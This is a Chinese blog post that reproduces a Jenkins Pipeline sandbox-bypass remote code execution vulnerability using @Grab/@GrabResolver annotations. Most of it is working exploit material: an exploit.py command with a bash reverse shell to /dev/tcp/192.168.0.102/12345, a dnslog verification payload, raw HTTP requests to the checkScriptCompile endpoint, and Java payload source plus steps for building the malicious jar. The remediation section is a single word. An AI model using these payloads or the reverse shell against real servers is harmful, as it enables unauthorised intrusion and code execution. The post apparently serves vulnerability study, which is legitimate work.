• [漏洞复现] jenkins 远程代码执行 (CVE-2019-100300)


    一、简介

    拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。

    Jenkins的pipeline主要是通过一个配置文件或者job里面的pipeline脚本配置来设定每个job的步骤. pipeline定义了几乎所有要用到的流程, 比如执行shell, 存档, 生成测试报告, 发布报告等。Pipeline使开发者可以方便的去撰写一些构建脚本以完成自动化的编译、测试、发布,其中文名称是流水线(工作流),帮助开发者精心地组织一个可以长期运行在多个节点上的任务。

    为了检查使用者撰写的Pipeline Script有没有语法上的错误,Jenkins提供了一个界面给使用者检查自己的Pipeline脚本。通过将抽象语法树(AST,Abstract Syntax Tree)转换注释(如@Grab)应用于源代码单元,可以在脚本编译阶段绕过脚本安全沙箱保护,导致具有Overall/Read权限或能控制SCM中jenkinsfile或沙盒Pipeline共享库内容的用户绕过沙盒保护,并在Jenkins服务器上执行任意代码。

    利用转换注释@Grab、@GrabResolover可以写入恶意的Jar文件到jenkins服务器,由于Pipeline是基于Groovy语法的,因此Jenkins使用了GroovyClassLoader.parseClass()来检查Pipeline脚本语法的正确性,最终导致在编译阶段执行了写入到Jenkins服务器的恶意Jar文件。

    二、影响版本

    Pipeline: Declarative 插件 <= 1.3.4
    Pipeline: Groovy 插 件 <= 2.61
    Script Security 插 件 <= 1.49

    三、复现

    工具
    vulfocus没有提供账号密码,所以以下是在看别人复现的思路

    登录之后,创建一个job

    执行下面的语句利用

    python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"
    
    • 1
    反弹shell:
    
    python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/192.168.0.102/12345 0>&1"
    
    • 1
    • 2
    • 3

    不使用工具
    验证是否存在漏洞,利用dnslog,看目标是否请求了该地址
    payload

    @GrabConfig(disableChecksums=true)
    
    @GrabResolver(name='test', root='http://9mdvs1.dnslog.cn')
    
    @Grab(group='test.sec', module='test', version='1')
    
    import Payload;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    请求包

    GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27test%27,%20root=%27http://kv0bn5.dnslog.cn%27)%0A@Grab(group=%27test.sec%27,%20module=%27test%27,%20version=%271%27)%0Aimport%20Payload; HTTP/1.1
    
    Host: host
    
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
    
    Accept-Encoding: gzip, deflate
    
    Accept: */*
    
    Connection: close
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    查看dnslog记录:
    在这里插入图片描述
    利用该漏洞命令执行
    1.创建一个java文件,保存为jkrce.java代码如下:

    public class jkrce {
    
      public jkrce() {
    
        try {
    
         String payload = "touch /tmp/test11111";
    
         String[] cmds = { "/bin/bash", "-c", payload };
    
         java.lang.Runtime.getRuntime().exec(cmds);
    
        } catch (Exception e) {
    
    } 
    
    }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    2.创建文件夹META-INF/serverices/,编译并写jkrce类到META-INF/serverices/org.codehaus.groovy.plugins.Runners里,如下:

    javac jkrce.java 
    
    mkdir -p META-INF/services/   
    
    echo jkrce > META-INF/services/org.codehaus.groovy.plugins.Runners 
    
    jar cvf jenkins-1.jar ./      
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    3.在公网web服务器目录里,创建路径/tools/jenkins/1/ 这个路径要与下一步中的路径一致,并将上一步生成的jar文件放到该目录下

    mkdir /tools/jenkins/1/
    
    • 1

    4.发送请求,数据包如下,xxx.xxx.xxx.xxx替换成公网地址即可:

    GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27payload%27,root=%27http://xxx.xxx.xxx.xxx/%27)%0a@Grab(group=%27tools%27,module=%27jenkins%27,version=%271%27)%0aimport%20jkrce; HTTP/1.1
    
    Host: host
    
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
    
    Accept-Encoding: gzip, deflate
    
    Accept: */*
    
    Connection: close
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在这里插入图片描述

    四、修复

    更新

  • 相关阅读:
    Oracle(6) Control File
    【计网】第三章 数据链路层(4)局域网、以太网、无线局域网、VLAN
    1Java基础的进阶-*重点
    面试题库(十二):分布式和中间件等
    视频怎么消除人声?一款视频去人声软件,轻松去除视频人声
    ruoyi-nbcio-plus基于vue3的多租户机制
    Oracle数据字典
    CANoe制作网关实现CAN(FD)报文故障注入(报文长度/timeout/信号错误/E2E)2
    并发编程——1.java内存图及相关内容
    音视频报警可视对讲15.6寸管理机
  • 原文地址:https://blog.csdn.net/qq_45751902/article/details/128021581